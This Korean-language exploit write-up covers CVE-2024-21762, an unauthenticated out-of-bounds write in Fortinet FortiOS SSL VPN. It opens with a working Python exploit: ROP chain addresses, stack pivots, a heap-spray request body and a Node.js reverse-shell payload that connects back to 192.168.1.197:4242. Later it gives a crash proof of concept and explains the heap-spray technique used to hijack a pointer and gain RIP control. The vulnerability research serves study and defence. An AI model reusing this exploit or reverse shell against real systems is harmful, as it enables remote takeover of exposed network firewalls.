
Fortinet FortiOS의 경계를 벗어난 쓰기 CVE-2024-21762 취약점
Fortinet FortiOS의 CVE-2024-21762 취약점에서 발생하는 경계를 벗어난 쓰기(Out-of-Bounds Write) 취약점
ssl_do_handshake_ptr = b"%60%ce%42%00%00%00%00%00"
getcwd_ptr = b"%70%62%2c%04%00%00%00%00"
pivot_1 = b"%52%f7%fd%00%00%00%00%00" # push rdi; pop rsp; ret;
pivot_2 = b"%ac%c9%ab%02%00%00%00%00" # add rsp, 0x2a0; pop rbx; pop r12; pop rbp; ret;
rop = b""
rop += b"%c6%e2%46%00%00%00%00%00" # push rdi; pop rax; ret;
rop += b"%19%6f%4d%01%00%00%00%00" # sub rax, 0x2c8; ret;
rop += b"%8e%b2%fe%01%00%00%00%00" # add rax, 0x10; ret;
rop += b"%63%db%ae%02%00%00%00%00" # pop rcx; ret;
rop += b"%00%00%00%00%00%00%00%00" # zero rcx
rop += b"%38%ad%98%02%00%00%00%00" # or rcx, rax; setne al; movzx eax, al; ret;
rop += b"%c6%52%86%02%00%00%00%00" # shl rax, 4; add rax, rdx; ret;
rop += b"%6e%d0%3f%01%00%00%00%00" # or rdx, rcx; ret; - rdx is zero so this is a copy
rop += b"%a4%df%98%02%00%00%00%00" # sub rdx, rax; mov rax, rdx; ret;
rop += b"%f5%2c%e6%00%00%00%00%00" # sub rax, 0x10; ret;
rop += b"%e4%e6%d7%01%00%00%00%00" # add rsi, rax; mov [rdi+8], rsi; ret;
rop += b"%10%1b%0a%01%00%00%00%00" # push rax; pop rdi; add eax, 0x5d5c415b; ret;
rop += b"%25%0f%8d%02%00%00%00%00" # pop r8; ret; 0x028d0f25
rop += b"%00%00%00%00%00%00%00%00" # r8
pivot_3 = b"%e0%3f%4d%02%00%00%00%00" # add rsp, 0xd90; pop rbx; pop r12; pop rbp; ret;
call_execl = b"%80%c1%43%00%00%00%00%00"
bin_node = b"/bin/node%00"
e_flag = b"-e%00"
js_payload = b'(function(){var net%3drequire("net"),cp%3drequire("child_process"),sh%3dcp.spawn("/bin/node",["-i"]);var client%3dnew net.Socket();client.connect(4242,"192.168.1.197",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();%00'
form_value = b""
form_value += b"B"*11 + bin_node + b"B"*6 + e_flag + b"B"*14 + js_payload
form_value += b"B"*438 + pivot_2 + getcwd_ptr
form_value += b"B"*32 + pivot_1
form_value += b"B"*168 + call_execl
form_value += b"B"*432 + ssl_do_handshake_ptr
form_value += b"B"*32 + rop + pivot_3
body = (b"B"*1808 + b"=" + form_value + b"&")*20
data = b"POST /remote/hostcheck_validate HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += f"Content-Length: {len(body)}\r\n".encode("utf-8")
data += b"\r\n"
data += body
ssock1 = make_sock(TARGET, PORT)
ssock1.sendall(data)
time.sleep(1)
ssock2 = make_sock(TARGET, PORT)
data = b"POST / HTTP/1.1\r\n"
data += b"Host: 192.168.1.229\r\n"
data += b"Transfer-Encoding: chunked\r\n"
data += b"\r\n"
data += b"0"*4137 + b"\0"
data += b"A"*1 + b"\r\n\r\n"
ssock2.sendall(data)
FortiGate는 2월에 버전 업데이트를 출시하여 여러 중간 및 높은 위험도의 취약점을 수정했습니다. 심각한 수준의 취약점 중 하나는 SSL VPN의 인증되지 않은 경계를 벗어난 쓰기 취약점입니다. 취약점 경고에 따르면 이 취약점은 실제 공격 환경에서 악용될 수 있습니다. 이 글에서는 이 취약점을 악용하여 원격 코드 실행(RCE)을 달성하는 과정에 대한 저자의 분석을 소개합니다.

이 글에서 취약점 분석에 사용된 환경은 FGT_VM64-v7.4.2.F-build2571입니다.
수정된 버전(7.4.2 및 7.4.3)의 바이너리를 비교한 결과, 수정 코드가 sub_18F4980(7.4.2) 함수에 위치해 있음을 확인했습니다.

이 함수를 분석해 보면, 이 함수의 로직이 HTTP POST 요청의 본문(body) 데이터를 읽는 것임을 쉽게 알 수 있습니다. 동시에 Transfer-Encoding 요청 헤더에 따라 청크 형식으로 읽을지, Content-Length를 기준으로 읽을지 결정됩니다. 제어 흐름 그래프 비교 결과, 코드 수정 사항은 두 가지입니다:
ap_getline을 호출하여 청크 길이를 읽고, ap_getline의 반환값이 16보다 큰지 확인합니다. 16보다 크면 비정상적인 청크 길이로 간주합니다.
\r\n 오프셋의 소스는 line_off입니다. 수정 전 line_off의 값은 *(_QWORD *)(a1 + 744)에서 가져오고, 수정 후에는 ap_getline의 반환값입니다.계속 추적해 보면, *(_QWORD *)(a1 + 744) 값이 첫 번째 검증의 청크 길이 필드의 길이임을 알 수 있습니다.

계속 추적해 보면, *(_QWORD *)(a1 + 744) 값이 첫 번째 검증의 청크 길이 필드의 길이임을 알 수 있습니다.

동시에 코드를 읽어보면, 청크 길이 필드의 값이 16진수 디코딩 후 0이 되면 청크 트레일러 읽기 로직으로 진입한다는 것을 알 수 있습니다.
패치를 분석한 후 다음과 같은 결론을 도출할 수 있습니다:
ap_getline을 호출하여 청크 트레일러를 읽은 후, 청크 길이 필드의 길이에 따라 \r\n이 버퍼에 작성됩니다.\r\n 경계를 벗어난 쓰기가 트리거됩니다. 디버깅을 통해 대상 버퍼가 스택(함수 sub_1A111E0)에 있고, 반환 주소가 오프셋 0x2028에 저장되어 있음을 알 수 있습니다. 오프셋 0x202e에 \r\n이 작성되면, 함수가 반환되어 rip를 복원하는 ret 명령어를 실행할 때 잘못된 주소로 인해 크래시가 발생합니다.크래시 PoC:
pkt = b"""\
GET / HTTP/1.1
Host: %s
Transfer-Encoding: chunked
%s\r\n%s\r\n\r\n""" % (hostname.encode(), b"0"*((0x202e//2)-2), b"a")
ssock = create_ssock(hostname, port)
ssock.send(pkt)
ssock.recv(4096)
크래시 장면:

취약점의 원인을 분석해 보면, 이 취약점을 사용하여 스택에 \r\n 2바이트를 경계를 벗어나 작성할 수 있고, 경계를 벗어난 범위는 0x2000에 가깝습니다. 작성할 수 있는 내용이 매우 제한적이므로 rip를 직접 하이재킹하여 RCE를 달성할 수는 없습니다. 따라서 스택에 저장된 메모리 포인터에 주목해야 합니다.
가장 쉽게 떠올릴 수 있는 방법은 rbp를 하이재킹하고 rbp의 하위 바이트를 덮어써서 rbp가 제어 가능한 메모리 영역을 정확히 가리키게 하는 것입니다. 상위 함수가 반환되어 leave; ret 명령어를 실행할 때 rip를 완전히 하이재킹할 수 있습니다. 그러나 검증 과정에서 스택의 rbp를 덮어써도 rsp와 rip를 하이재킹할 수 없고, 프로그램은 크래시조차 발생하지 않는다는 것이 발견되었습니다. 계속 추적해 올라가면 sub_1A111E0의 부모 함수 sub_1A26040을 찾을 수 있습니다. 이 함수는 반환될 때 leave; ret을 호출하여 rsp를 복원하지 않고 직접 add rsp, 0x18을 수행하므로 기대한 효과를 얻을 수 없습니다.

이전 섹션에서 보았듯이 sub_1A26040 함수는 rbx 및 r12-r15 다섯 개 레지스터의 값을 스택에 저장하고, 함수가 반환될 때 이 레지스터들을 복원합니다. 계속 역추적하면 부모 함수 sub_1A27650을 찾을 수 있습니다. r13에 저장된 것이 바로 매개변수 a1임을 알 수 있습니다.
a1은 구조체 포인터입니다. 디버깅을 통해 스택의 r13에 힙 주소가 저장되는 것도 확인할 수 있습니다.

그림의 빨간색 영역 메모리가 경계를 벗어난 쓰기로 덮어써지면, 함수가 반환될 때 r13 레지스터가 복원되면서 포인터의 값을 변조할 수 있습니다. 힙 메모리를 레이아웃하여 a1이 미리 준비한 메모리 영역을 가리키도록 할 수 있다면, 전체 a1 구조체를 하이재킹할 수 있습니다. 동시에 sub_1A26040과 sub_1A27650의 코드 로직을 분석해 보면 a1의 다단계 구조체 멤버에 대한 동적 함수 호출이 다수 존재하므로 a1을 하이재킹할 기회가 더 많아집니다.
가정에 따라 a1 포인터의 하위 바이트가 \r\n으로 덮어써지면, 미리 준비된 메모리를 가리킬 수 있습니다. 그림과 같습니다:

이 효과를 달성하려면 다음 조건을 충족해야 합니다:
a1 구조체 주소는 힙 스프레이 영역의 주소보다 높아야 하며, 둘 사이의 간격이 매우 작아야 합니다.0x7fxxxxxxx0a0d는 위조된 구조체를 가리켜야 합니다.디버깅을 통해 a1 구조체의 크기가 0x730임을 확인할 수 있습니다. jemalloc의 정렬 규칙에 따라 0x800 크기의 힙 블록이 할당됩니다. 0x800 힙 블록은 요청 처리 중에 일반적으로 사용되지 않으므로 tcache의 0x800 힙 블록을 쉽게 고갈시킬 수 있고, 동시에 더 많은 새로운 0x800 블록을 할당하여 해제 후 tcache에 들어가도록 할 수 있습니다. 힙 스프레이도 일반적이지 않은 크기의 힙 블록을 선택하여 새로 할당된 힙 블록이 새로 할당된 0x800 블록과 연속적이고 인접하도록 합니다. 또한 힙 스프레이는 더 큰 힙 블록을 사용하여 주소가 0x800과 정렬되도록 보장하며, 이를 통해 각 위조 구조체 주소의 하위 12비트가 0xa0d가 되도록 쉽게 보장할 수 있습니다. 힙 스프레이 범위는 0x10000 이상이어야 0x7fxxxxxxx0a0d가 힙 스프레이 영역을 가리킨다는 것을 보장할 수 있습니다. 하이재킹 후의 효과는 다음과 같습니다:

위의 작업을 통해 a1 구조체의 하이재킹을 달성할 수 있습니다. sub_1A26040과 sub_1A27650 함수의 코드를 꼼꼼히 살펴보면, a1 구조체 멤버의 2차 포인터와 3차 포인터에 대한 동적 호출이 많습니다. 예를 들어:

*(_BYTE *)(a1+0x20*(N+6)+0x10)&6==0 (0<N<5) 조건이 충족되면 동적으로 호출됩니다. 따라서 해당 멤버를 다단계 포인터로 위조해야 하며, 최종적으로는 호출하려는 함수를 가리켜야 합니다. 대상 바이너리는 PIE 보호가 활성화되어 있지 않으므로 대상 바이너리에서 조건에 맞는 다단계 포인터를 찾을 수 있습니다. 바이너리를 분석해 보면 첫 번째 a1 + 0x298이 해당 함수의 GOT 테이블 주소를 가리킨다는 것을 알 수 있습니다: (*(__int64 (__fastcall **)(__int64))(*(_QWORD *)(*(_QWORD *)(a1 + 0x298)+0x70)+0xC0))(a1)


따라서 함수를 예로 들면, 조건에 맞는 다단계 포인터 system을 찾을 수 있습니다.

힙 스프레이 중에 구조체의 오프셋 0x298의 값을 변경하면 system 함수를 호출할 수 있습니다. 효과는 다음과 같습니다: 0x4368d0

그림과 같이 동적 호출의 매개변수는 정확히 a1이며, 가리키는 메모리는 제어 가능합니다. 이 시점에서 system 함수를 사용하여 모든 명령을 실행할 수 있습니다. 그러나 FortiGate에서 /bin/sh 파일은 명령 실행 기능이 없으므로 system 함수를 사용한 명령 실행은 성공할 수 없습니다.
system 함수가 명령을 실행할 수 없으므로 RCE를 완성할 다른 방법을 찾아야 합니다. 현재 조건은 GOT 테이블의 모든 함수를 호출할 수 있고, 함수의 첫 번째 매개변수가 가리키는 메모리가 제어 가능하다는 것입니다. 따라서 GOT 테이블에서 매개변수의 특정 멤버를 다시 호출하는 함수가 있다면 RIP 하이재킹을 달성할 기회가 있습니다. 이전 FortiGate 익스플로잇에서 자주 사용되었던 함수인 SSL_do_handshake가 쉽게 떠오릅니다.

그림과 같이 s->handshake_func(s) 조건이 충족되고 최종 호출이 이루어지도록 SSL 구조체만 구성하면 rip 하이재킹을 실현하고 rip를 0xdeadbeef로 하이재킹할 수 있습니다:

FortiGate 메인 프로그램은 크기가 70MB가 넘는 All-in-One 바이너리입니다. 사용 가능한 가젯(gadget)이 매우 많습니다. ROP를 사용하여 RCE를 구현하는 것은 어렵지 않으므로 자세한 설명은 생략하겠습니다.
SSL VPN 버전 7.4.2에서는 웹 모드가 기본적으로 꺼져 있고 브라우저 접근 시 403이 반환되지만, 이 취약점은 기본 구성에서도 여전히 악용될 수 있습니다.

이 취약점은 작년 XOR로 인한 힙 오버플로 취약점인 CVE-2023-27997과 유사합니다. 둘 다 겉보기에는 쓸모없어 보이는 오버플로 취약점입니다. 익스플로잇 과정은 더 까다롭고 CTF 문제에 더 가깝습니다. 그러나 힙 관리자를 공격하는 전통적인 CTF 문제와 비교하면, 실제 취약점은 악용을 위해 더 많은 컨텍스트 구조와 코드 로직을 필요로 합니다. 저자의 실력은 제한적이므로, 오류가 있다면 지적해 주시기 바랍니다.